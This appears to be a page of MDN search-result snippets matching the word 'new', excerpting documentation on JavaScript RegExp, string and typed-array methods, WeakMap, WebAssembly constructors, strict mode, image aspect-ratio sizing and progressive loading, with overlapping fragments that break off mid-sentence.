newstr = str.replace(re, '#'); // string.prototype.replace calls re[@@replace]. console.log(
newstr); // ###34567 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@replace]' in that specification. ...
RegExp() constructor - JavaScript
ion to regular expressions, read the regular expressions chapter in the javascript guide. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax literal, constructor, and factory notations are possible: /pattern/flags
new regexp(pattern[, flags]) regexp(pattern[, flags]) parameters pattern the text of the regular expression. as of es5, this can also be another regexp object or literal (for the two regexp constructor notations only). patterns may include special characters to match a wider range of values than would a literal string. flags if specified, flags is a string that contains the flags to add. ...
...l matches rather than stopping after the first match. i (ignore case) if u flag is also enabled, use unicode case folding. m (multiline) treat beginning and end characters (^ and $) as working over multiple lines. in other words, match the beginning or end of each line (delimited by \n or \r), not only the very beginning or end of the whole input string. s ("dotall") allows . to match
newlines. u (unicode) treat pattern as a sequence of unicode code points. (see also binary strings). y (sticky) matches only from the index indicated by the lastindex property of this regular expression in the target string. does not attempt to match from any later indexes. examples literal notation and constructor there are two ways to create a regexp object: a literal notation and a...
...les literal notation and constructor there are two ways to create a regexp object: a literal notation and a constructor. the literal notation's parameters are enclosed between slashes and do not use quotation marks. the constructor function's parameters are not enclosed between slashes but do use quotation marks. the following three expressions create the same regular expression: /ab+c/i
new regexp(/ab+c/, 'i') // literal notation
new regexp('ab+c', 'i') // constructor the literal notation results in compilation of the regular expression when the expression is evaluated. use literal notation when the regular expression will remain constant. for example, if you use literal notation to construct a regular expression used in a loop, the regular expression won't be recompiled on each i...
...ctor the literal notation results in compilation of the regular expression when the expression is evaluated. use literal notation when the regular expression will remain constant. for example, if you use literal notation to construct a regular expression used in a loop, the regular expression won't be recompiled on each iteration. the constructor of the regular expression object—for example,
new regexp('ab+c')—results in runtime compilation of the regular expression. use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and are getting it from another source, such as user input. specifications specification ecmascript (ecma-262)the definition of 'regexp constructor' in that specification. ...
String.prototype.replaceAll() - JavaScript
as of august 2020 the replaceall() method is supported by firefox but not by chrome. it will become available in chrome 85. the replaceall() method returns a
new string with all matches of a pattern replaced by a replacement. the pattern can be a string or a regexp, and the replacement can be a string or a function to be called for each match. the original string is left unchanged. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...e pattern can be a string or a regexp, and the replacement can be a string or a function to be called for each match. the original string is left unchanged. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const
newstr = str.replaceall(regexp|substr,
newsubstr|function) when using a `regexp` you must have to set the global ("g") flag; otherwise, it will throw a typeerror: "replaceall must be called with a global regexp". parameters regexp (pattern) a regexp object or literal with the global flag. the matches are replaced with
newsubstr or the value returned by the specified function. a regexp withou...
...l throw a typeerror: "replaceall must be called with a global regexp". parameters regexp (pattern) a regexp object or literal with the global flag. the matches are replaced with
newsubstr or the value returned by the specified function. a regexp without the global ("g") flag will throw a typeerror: "replaceall must be called with a global regexp". substr a string that is to be replaced by
newsubstr. it is treated as a literal string and is not interpreted as a regular expression.
newsubstr (replacement) the string that replaces the substring specified by the specified regexp or substr parameter. ...
...ced by
newsubstr. it is treated as a literal string and is not interpreted as a regular expression.
newsubstr (replacement) the string that replaces the substring specified by the specified regexp or substr parameter. a number of special replacement patterns are supported; see the "specifying a string as a parameter" section below. function (replacement) a function to be invoked to create the
new substring to be used to replace the matches to the given regexp or substr. the arguments supplied to this function are described in the "specifying a function as a parameter" section below. return value a
new string, with all matches of a pattern replaced by a replacement. description this method does not change the calling string object. it simply returns a
new string. specifying a string ...
String.prototype.slice() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.slice(beginindex[, endindex]) parameters beginindex the zero-based index at which to begin extraction. if negative, it is treated as str.length + beginindex. (for example, if beginindex is -3 it is treated as str.length - 3.) if beginindex is greater than or equal to str.length, slice() returns an empty string. ...
...er than or equal to str.length, slice() returns an empty string. endindex optional the zero-based index before which to end extraction. the character at this index will not be included. if endindex is omitted, slice() extracts to the end of the string. if negative, it is treated as str.length + endindex. (for example, if endindex is -3 it is treated as str.length - 3.) return value a
new string containing the extracted section of the string. description slice() extracts the text from one string and returns a
new string. changes to the text in one string do not affect the other string. slice() extracts up to but not including endindex. str.slice(1, 4) extracts the second character through the fourth character (characters indexed 1, 2, and 3). as an example, str.slice(2, -1) ex...
... let str1 = 'the morning is upon us.', // the length of str1 is 23. str2 = str1.slice(1, 8), str3 = str1.slice(4, -2), str4 = str1.slice(12), str5 = str1.slice(30); console.log(str2) // output: he morn console.log(str3) // output: morning is upon u console.log(str4) // output: is upon us. ...
...not affect the other string. slice() extracts up to but not including endindex. str.slice(1, 4) extracts the second character through the fourth character (characters indexed 1, 2, and 3). as an example, str.slice(2, -1) extracts the third character through the second to last character in the string. examples using slice() to create a
new string the following example uses slice() to create a
new string. let str1 = 'the morning is upon us.', // the length of str1 is 23. str2 = str1.slice(1, 8), str3 = str1.slice(4, -2), str4 = str1.slice(12), str5 = str1.slice(30); console.log(str2) // output: he morn console.log(str3) // output: morning is upon u console.log(str4) // output: is upon us. console.log(str5) // output: "" using slice() with negative indexes the follow...
TypedArray.prototype.findIndex() - JavaScript
ement of the typed array is changed by callback, its value passed to the visiting callback will be the value at the time that findindex visits that element's index; elements that are deleted are not visited. ...
...n(evaluator, thisarg) { 'use strict'; if (!this) { throw
new typeerror('array.prototype.some called on null or undefined'); } if (typeof(evaluator) !== 'function') { if (typeof(evaluator) === 'string') { // attempt to convert it to a function if ( ! ...
...hrow
new typeerror('array.prototype.some called on null or undefined'); } if (typeof(evaluator) !== 'function') { if (typeof(evaluator) === 'string') { // attempt to convert it to a function if ( ! ...
...examples find the index of a prime number in a typed array the following example finds the index of an element in the typed array that is a prime number (or returns -1 if there is no prime number). function isprime(element, index, array) { var start = 2; while (start <= math.sqrt(element)) { if (element % start++ < 1) { return false; } } return element > 1; } var uint8 =
new uint8array([4, 6, 8, 12]); var uint16 =
new uint16array([4, 6, 7, 12]); console.log(uint8.findindex(isprime)); // -1, not found console.log(uint16.findindex(isprime)); // 2 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.findindex' in that specification. ...
TypedArray.prototype.slice() - JavaScript
this method has the same algorithm as array.prototype.slice(). typedarray is one of the typed array types here. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.slice([begin[, end]]) parameters begin optional zero-based index at which to begin extraction. a negative index can be used, indicating an offset from the end of the sequence. slice(-2) extracts the last two elements in the sequence. ...
...ing end. for example, slice(1,4) extracts the second element through the fourth element (elements indexed 1, 2, and 3). a negative index can be used, indicating an offset from the end of the sequence. slice(2,-1) extracts the third element through the second-to-last element in the sequence. if end is omitted, slice extracts through the end of the sequence (typedarray.length). return value a
new typed array containing the extracted elements. description the slice method does not alter. it returns a shallow copy of elements from the original typed array. if a
new element is added to either typed array, the other typed array is not affected. polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis. if (!uint8array.prototype.s...
... of elements from the original typed array. if a
new element is added to either typed array, the other typed array is not affected. polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis. if (!uint8array.prototype.slice) { object.defineproperty(uint8array.prototype, 'slice', { value: function (begin, end) { return
new uint8array(array.prototype.slice.call(this, begin, end)); } }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable. ...
... value: function (begin, end) { return
new uint8array(array.prototype.slice.call(this, begin, end)); } }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable. examples return a portion of an existing typed array const uint8 =
new uint8array([1,2,3]); uint8.slice(1); // uint8array [ 2, 3 ] uint8.slice(2); // uint8array [ 3 ] uint8.slice(-2); // uint8array [ 2, 3 ] uint8.slice(0,1); // uint8array [ 1 ] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.slice' in that specification. ...
WeakMap - JavaScript
ormation about the key that is valuable only if the key has not been garbage collected. because the references are weak, weakmap keys are not enumerable. there is no method to obtain a list of the keys. if they were, the list would depend on the state of garbage collection, introducing non-determinism. if you want to have a list of keys, you should use a map. constructor weakmap() creates a
new weakmap object. instance methods weakmap.prototype.delete(key) removes any value associated to the key. weakmap.prototype.has(key) will return false afterwards. weakmap.prototype.get(key) returns the value associated to the key, or undefined if there is none. weakmap.prototype.has(key) returns a boolean asserting whether a value has been associated to the key in the weakmap object or no...
...afterwards. weakmap.prototype.get(key) returns the value associated to the key, or undefined if there is none. weakmap.prototype.has(key) returns a boolean asserting whether a value has been associated to the key in the weakmap object or not. weakmap.prototype.set(key, value) sets the value for the key in the weakmap object. returns the weakmap object. examples using weakmap const wm1 =
new weakmap(), wm2 =
new weakmap(), wm3 =
new weakmap(); const o1 = {}, o2 = function() {}, o3 = window; wm1.set(o1, 37); wm1.set(o2, 'azerty'); wm2.set(o1, o2); // a value can be anything, including an object or a function wm2.set(o3, undefined); wm2.set(wm1, wm2); // keys and values can be any objects. even weakmaps! wm1.get(o2); // "azerty" wm2.get(o2); // undefined, beca...
... ...
... ...
WebAssembly.CompileError() constructor - JavaScript
the webassembly.compileerror() constructor creates a
new webassembly compileerror object, which indicates an error during webassembly decoding or validation. syntax
new webassembly.compileerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
... which indicates an error during webassembly decoding or validation. syntax
new webassembly.compileerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
...lidation. syntax
new webassembly.compileerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
... parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
WebAssembly.CompileError - JavaScript
instance properties webassembly.compileerror.prototype.message error message. although ecma-262 specifies that urierror should provide its own message property, in spidermonkey, it inherits error.prototype.message. webassembly.compileerror.prototype.name error name. inherited from error. webassembly.compileerror.prototype.filename path to file that raised this error. inherited from error. ...
...s error. inherited from error. webassembly.compileerror.prototype.stack stack trace. inherited from error. instance methods webassembly.compileerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.compileerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
...ototype.stack stack trace. inherited from error. instance methods webassembly.compileerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.compileerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
...mbly.compileerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.compileerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
WebAssembly.Global() constructor - JavaScript
this can be one of i32, i64, f32, and f64. mutable: a boolean value that determines whether the global is mutable or not. by default, this is false. value the value the variable contains. this can be any value, as long as its type matches the variable's data type. ...
...al. this can be one of i32, i64, f32, and f64. mutable: a boolean value that determines whether the global is mutable or not. by default, this is false. value the value the variable contains. this can be any value, as long as its type matches the variable's data type. if no value is specified, a typed 0 value is used, as specified by the defaultvalue algorithm. examples creating a
new global instance the following example shows a
new global instance being created using the webassembly.global() constructor. it is being defined as a mutable i32 type, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given ...
...wing example shows a
new global instance being created using the webassembly.global() constructor. it is being defined as a mutable i32 type, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the
new value). const output = document.getelementbyid('output'); function asserteq(msg, got, expected) { output.innerhtml += `testing ${msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success! got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); c...
...t output = document.getelementbyid('output'); function asserteq(msg, got, expected) { output.innerhtml += `testing ${msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success! ...
WebAssembly.Global - JavaScript
global instances all global instances inherit from the global() constructor's prototype object — this can be modified to affect all global instances. ...
...otype[@@tostringtag] the initial value of the @@tostringtag property is the string value "webassembly.global". global.prototype.value the value contained inside the global variable — this can be used to directly set and get the global's value. instance methods global.prototype.valueof() old-style method that returns the value contained inside the global variable. examples creating a
new global instance the following example shows a
new global instance being created using the webassembly.global() constructor. it is being defined as a mutable i32 type, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given ...
...wing example shows a
new global instance being created using the webassembly.global() constructor. it is being defined as a mutable i32 type, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the
new value). const output = document.getelementbyid('output'); function asserteq(msg, got, expected) { output.innerhtml += `testing ${msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success! got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); c...
...t output = document.getelementbyid('output'); function asserteq(msg, got, expected) { output.innerhtml += `testing ${msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success! ...
WebAssembly.LinkError() constructor - JavaScript
the webassembly.linkerror() constructor creates a
new webassembly linkerror object, which indicates an error during module instantiation (besides traps from the start function). syntax
new webassembly.linkerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
...or during module instantiation (besides traps from the start function). syntax
new webassembly.linkerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
...tart function). syntax
new webassembly.linkerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
...mber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
WebAssembly.LinkError - JavaScript
instance properties webassembly.linkerror.prototype.message error message. although ecma-262 specifies that urierror should provide its own message property, in spidermonkey, it inherits error.prototype.message. webassembly.linkerror.prototype.name error name. inherited from error. webassembly.linkerror.prototype.filename path to file that raised this error. inherited from error. ...
...aised this error. inherited from error. webassembly.linkerror.prototype.stack stack trace. inherited from error. instance methods webassembly.linkerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.linkerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
...kerror.prototype.stack stack trace. inherited from error. instance methods webassembly.linkerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.linkerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
...s webassembly.linkerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.linkerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
WebAssembly.RuntimeError() constructor - JavaScript
the webassembly.runtimeerror() constructor creates a
new webassembly runtimeerror object — the type that is thrown whenever webassembly specifies a trap. syntax
new webassembly.runtimeerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
...t — the type that is thrown whenever webassembly specifies a trap. syntax
new webassembly.runtimeerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
...s a trap. syntax
new webassembly.runtimeerror(message, filename, linenumber) parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
... parameters message optional human-readable description of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
WebAssembly.RuntimeError - JavaScript
instance properties webassembly.runtimeerror.prototype.message error message. although ecma-262 specifies that urierror should provide its own message property, in spidermonkey, it inherits error.prototype.message. webassembly.runtimeerror.prototype.name error name. inherited from error. webassembly.runtimeerror.prototype.filename path to file that raised this error. inherited from error. ...
...s error. inherited from error. webassembly.runtimeerror.prototype.stack stack trace. inherited from error. instance methods webassembly.runtimeerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.runtimeerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
...ototype.stack stack trace. inherited from error. instance methods webassembly.runtimeerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.runtimeerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
...mbly.runtimeerror.prototype.tosource() returns code that could eval to the same error. inherited from error. webassembly.runtimeerror.prototype.tostring() returns a string representing the specified error object.. inherited from error. ...
WebAssembly.Table() constructor - JavaScript
the webassembly.table() constructor creates a
new table object of the given size and element type. syntax
new webassembly.table(tabledescriptor); parameters tabledescriptor an object that can contain the following members: element a string representing the type of value to be stored in the table. at the moment this can only have a value of "anyfunc" (functions). initial the initial number of elements of the webassembly table. maximum optional the maximum number of elements the webassembly table is allowed to grow to. exceptions if tabledescriptor is not of type object, a typeerror is thrown. if maximum is specified and is smaller than initial, a rangeerror is thrown. ...
...can only have a value of "anyfunc" (functions). initial the initial number of elements of the webassembly table. maximum optional the maximum number of elements the webassembly table is allowed to grow to. exceptions if tabledescriptor is not of type object, a typeerror is thrown. if maximum is specified and is smaller than initial, a rangeerror is thrown. ...
...able. maximum optional the maximum number of elements the webassembly table is allowed to grow to. exceptions if tabledescriptor is not of type object, a typeerror is thrown. if maximum is specified and is smaller than initial, a rangeerror is thrown. examples creating a
new webassembly table instance the following example (see table2.html source code and live version) creates a
new webassembly table instance with an initial size of 2 elements. ...
... a rangeerror is thrown. examples creating a
new webassembly table instance the following example (see table2.html source code and live version) creates a
new webassembly table instance with an initial size of 2 elements. we then print out the table length and contents of the two indexes (retrieved via table.prototype.get() to show that the length is two and both elements are null. var tbl =
new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" we then create an import object that contains the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming() method. the table2.wasm module ...
WebAssembly.Table - JavaScript
avascript wrapper object — an array-like structure representing a webassembly table, which stores function references. a table created by javascript or in webassembly code will be accessible and mutable from both javascript and webassembly. note: tables can currently only store function references, but this will likely be expanded in the future. constructor webassembly.table() creates a
new table object. instance properties table.prototype.length returns the length of the table, i.e. the number of elements. instance methods table.prototype.get() accessor function — gets the element stored at a given index. table.prototype.grow() increases the size of the table instance by a specified number of elements. table.prototype.set() sets an element stored at a given index ...
...able.prototype.length returns the length of the table, i.e. the number of elements. instance methods table.prototype.get() accessor function — gets the element stored at a given index. table.prototype.grow() increases the size of the table instance by a specified number of elements. table.prototype.set() sets an element stored at a given index to a given value. ...
...e.prototype.get() accessor function — gets the element stored at a given index. table.prototype.grow() increases the size of the table instance by a specified number of elements. table.prototype.set() sets an element stored at a given index to a given value. examples creating a
new webassembly table instance the following example (see table2.html source code and live version) creates a
new webassembly table instance with an initial size of 2 elements. ...
... index to a given value. examples creating a
new webassembly table instance the following example (see table2.html source code and live version) creates a
new webassembly table instance with an initial size of 2 elements. we then print out the table length and contents of the two indexes (retrieved via table.prototype.get() to show that the length is two and both elements are null. var tbl =
new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" we then create an import object that contains the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming() method. the table2.wasm module ...
WebAssembly.instantiate() - JavaScript
iled webassembly.module and its first webassembly.instance. the secondary overload takes an already-compiled webassembly.module and returns a promise that resolves to an instance of that module. this overload is useful if the module has already been compiled. important: this method is not the most efficient way of fetching and instantiating wasm modules. if at all possible, you should use the
newer webassembly.instantiatestreaming() method instead, which fetches, compiles, and instantiates a module all in one step, directly from the raw bytecode, so doesn't require conversion to an arraybuffer. syntax primary overload — taking wasm binary code promise<resultobject> webassembly.instantiate(buffersource, importobject); parameters buffersource a typed array or arraybuffer contain...
...aw bytecode, so doesn't require conversion to an arraybuffer. syntax primary overload — taking wasm binary code promise<resultobject> webassembly.instantiate(buffersource, importobject); parameters buffersource a typed array or arraybuffer containing the binary code of the .wasm module you want to compile. importobject optional an object containing the values to be imported into the
newly-created instance, such as functions or webassembly.memory objects. there must be one matching property for each declared import of the compiled module or else a webassembly.linkerror is thrown. return value a promise that resolves to a resultobject which contains two fields: module: a webassembly.module object representing the compiled webassembly module. this module can be instantiated a...
...embly.compileerror, webassembly.linkerror, or webassembly.runtimeerror, depending on the cause of the failure. secondary overload — taking a module object instance promise<webassembly.instance> webassembly.instantiate(module, importobject); parameters module the webassembly.module object to be instantiated. importobject optional an object containing the values to be imported into the
newly-created instance, such as functions or webassembly.memory objects. there must be one matching property for each declared import of module or else a webassembly.linkerror is thrown. return value a promise that resolves to an webassembly.instance object. exceptions if either of the parameters are not of the correct type or structure, a typeerror is thrown. if the operation fails, the prom...
... result.instance.exports.exported_func() ); note: you can also find this example at index.html on github (view it live also). second overload example the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends it to a worker using postmessage(). var worker =
new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. when the module is received, we create an instance from it using the webassembly.instantiate() method and invoke an expo...
Operator precedence - JavaScript
is false. adding parentheses makes things clear: (3 > 2) > 1. table the following table is ordered from highest (21) to lowest (1) precedence. precedence operator type associativity individual operators 21 grouping n/a ( … ) 20 member access left-to-right … . ...
... things clear: (3 > 2) > 1. table the following table is ordered from highest (21) to lowest (1) precedence. precedence operator type associativity individual operators 21 grouping n/a ( … ) 20 member access left-to-right … . ...
...operator type associativity individual operators 21 grouping n/a ( … ) 20 member access left-to-right … . … computed member access left-to-right … [ … ]
new (with argument list) n/a
new … ( … ) function call left-to-right … ( … ) optional chaining left-to-right ?. ...
...rators 21 grouping n/a ( … ) 20 member access left-to-right … . … computed member access left-to-right … [ … ]
new (with argument list) n/a
new … ( … ) function call left-to-right … ( … ) optional chaining left-to-right ?. ...
in operator - JavaScript
// predefined objects 'pi' in math // returns true // custom objects let mycar = {make: 'honda', model: 'accord', year: 1998} 'make' in mycar // returns true 'model' in mycar // returns true you must specify an object on the right side of the in operator. for example, you can specify a string created with the string constructor, but you cannot specify a string literal. let color1 =
new string('green') 'length' in color1 // returns true let color2 = 'coral' // generates an error (color2 is not a string object) 'length' in color2 using in with deleted or undefined properties if you delete a property with the delete operator, the in operator returns false for that property. let mycar = {make: 'honda', model: 'accord', year: 1998} delete mycar.make 'make' in mycar // returns...
...ngth' in color1 // returns true let color2 = 'coral' // generates an error (color2 is not a string object) 'length' in color2 using in with deleted or undefined properties if you delete a property with the delete operator, the in operator returns false for that property. ...
...delete mycar.make 'make' in mycar // returns false let trees =
new array('redwood', 'bay', 'cedar', 'oak', 'maple') delete trees[3] 3 in trees // returns false if you set a property to undefined but do not delete it, the in operator returns true for that property. let mycar = {make: 'honda', model: 'accord', year: 1998} mycar.make = undefined 'make' in mycar // returns true let trees =
new array('redwood', 'bay', 'cedar', 'oak', 'maple') trees[3] = undefined 3 in trees // returns true the in operator will return false for empty array slots. even if accessing it directly returns undefined. ...
...e in operator returns true for that property. let mycar = {make: 'honda', model: 'accord', year: 1998} mycar.make = undefined 'make' in mycar // returns true let trees =
new array('redwood', 'bay', 'cedar', 'oak', 'maple') trees[3] = undefined 3 in trees // returns true the in operator will return false for empty array slots. even if accessing it directly returns undefined. let empties =
new array(3) empties[2] // returns undefined 2 in empties // returns false to avoid this, make sure a
new array is always filled with non-empty values or not write to indexes past the end of array. let empties =
new array(3).fill(undefined) 2 in empties // returns true inherited properties the in operator returns true for properties in the prototype chain. (if you want to check for only non-i...
Transitioning to strict mode - JavaScript
ansition code to strict mode down to the function granularity. differences from non-strict to strict syntax errors when adding 'use strict';, the following cases will throw a syntaxerror before the script is executing: octal syntax var n = 023; with statement using delete on a variable name delete myvariable; using eval or arguments as variable or function argument name using one of the
newly reserved keywords (in prevision for ecmascript 2015): implements, interface, let, package, private, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } obvious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} this is no longer the case in ecmascript 2015 (bug 1041128). declaring two function ...
...a < b) { function f() {} } obvious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} this is no longer the case in ecmascript 2015 (bug 1041128). declaring two function parameters with the same name function f(a, b, b) {} these errors are good, because they reveal plain errors or bad practices. they occur before the code is running.
new runtime errors javascript used to silently fail in contexts where what was done was an error. strict mode throws in such cases. if your code base contains such cases, testing will be necessary to be sure nothing is broken. once again, it can happen at the function granularity level. setting a value to an undeclared variable function f(x) { 'use strict'; var a = 12; b = a + x * 35; // err...
... corresponding named argument. this made optimizations complicated for javascript engine and made code harder to read/understand. in strict mode, the arguments object is created and initialized with the same values than the named arguments, but changes to either the arguments object or the named arguments aren't reflected in one another. change to eval in strict mode code, eval doesn't create a
new variable in the scope from which it was called. also, of course, in strict mode, the string is evaluated with strict mode rules. thorough testing will need to be performed to make sure nothing breaks. not using eval if you don't really need it may be another pragmatic solution. strictness-neutral code a potential "downside" of moving strict code to strict mode is that the semantics may be diffe...
... moving strict code to strict mode is that the semantics may be different in legacy browsers which do not implement strict mode. in some rare occasions (like bad concatenation or minification), your code also may not run in the mode you wrote and tested it in. here are the rules to make your code strictness-neutral: write your code as strict and make sure no strict-only errors (from the above "
new runtime errors" section) are thrown. stay away from semantic differences eval: use it only if you know what you're doing arguments: always access function arguments via their name or perform a copy of the arguments object using: var args = array.prototype.slice.call(arguments) as the first line of your function this: only use this when it refers to an object you created. ...
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
dth: 100%; height: auto; } this is really useful for responsive layouts, but unfortunately it causes the jank problem to return — the above css overrides the width and height attribute information, meaning that if the image has not loaded for some reason, its height will be set to 0. when the image finally loads, the same jank will occur as the page layout is shifted to make space for it. a
new way of sizing images before loading completes recognizing the problem, a wicg community group formed to propose an intrinsicsize attribute. folks from mozilla then expanded on this thinking, working on a proposal in the css box sizing level 4 draft to define an aspect-ratio property and propose the idea of using the width and height attributes to compute layout. fantasai & jen simmons collaborat...
...and propose the idea of using the width and height attributes to compute layout. fantasai & jen simmons collaborated with emilio, who worked on an experimental implementation to prove it would work. mozilla then brought the idea up in the wicg community group and discussed it further until representatives from chrome were onboard with the idea. due to this work, browsers are working on adding a
new mechanism for sizing images before the actual image is loaded. firefox has added an internal aspect-ratio property (in version 69 onwards) that applies to replaced elements, and other related elements that accept width and height attributes. this appears in the browser's internal ua stylesheet, similar to the following: img, input[type="image"], video, embed, iframe, marquee, object, table { a...
...he width/height of an <img> element — as set using html attributes — is overidden using css using something like this: img { max-width: 100%; height: auto } the aspect ratio is then used to calculate the height and therefore the correct size is applied to the <img> element, meaning that the aforementioned jank will not occur when the image loads. it only works before the image loads the
new mechanism currently only works on <img> elements before the image is loaded. originally we were going to have the
new mechanism apply the calculated sizing to <img> elements before and after the image has loaded. however, this caused a problem — a number of web sites actually use the width and height attributes incorrectly, setting an aspect ratio of something other than the image’s intrinsi...
...than the aspect ratio from the attributes, so it displays at the correct aspect ratio. summary so there you have it — eliminating another piece of jank from web layout! there is no need for a web developer to do anything special to their code to take advantage of this, besides returning to the habit of using width and height attributes in their html. they'll just get it for free. note: this
new mechanism is enabled in firefox 69 in beta and nightly as the spec is worked out (controlled by the layout.css.width-and-height-map-to-aspect-ratio.enabled pref), and it is currently being implemented in chrome. it will ship with firefox 71. ...
Progressive loading - Progressive web apps (PWAs)
gh for the "loading" effect. loading on demand the image loading mechanism discussed in the above section works ok — it loads the images after rendering the html structure, and applies a nice transition effect in the process. the problem is that it still loads all the images at once, even though the user will only see the first two or three upon page load. this problem can be solved with the
new intersection observer api — using this we can ensure that images will be loaded only when they appear in the viewport. intersection observer this is a progressive enhancement to the previously working example — intersection observer will load target images only when the user scrolls down, causing them to display in the viewport. here's what the relevant code looks like: if('intersectionob...
...s we can ensure that images will be loaded only when they appear in the viewport. intersection observer this is a progressive enhancement to the previously working example — intersection observer will load target images only when the user scrolls down, causing them to display in the viewport. ...
...the function passed as a parameter is handling the case when one or more items are intersecting with the observer (i.e. is appearing inside the viewport). we can iterate over each case and react accordingly — when an image is visible, we load the correct image and stop observing it as we no longer need to observe it. let's reiterate our earlier mention of progressive enhancemen...
... service workers, installable pwas, and finally notifications. we also explained push with help from the service worker cookbook. and in this article, we've looked into the concept of progressive loading, including an interesting example that makes use of the intersection observer api. feel free to experiment with the code, enhance your existing app with pwa features, or build something entirely
new on your own. pwas give a huge advantage over regular web apps. previous overview: progressive web apps ...
Media - Progressive web apps (PWAs)
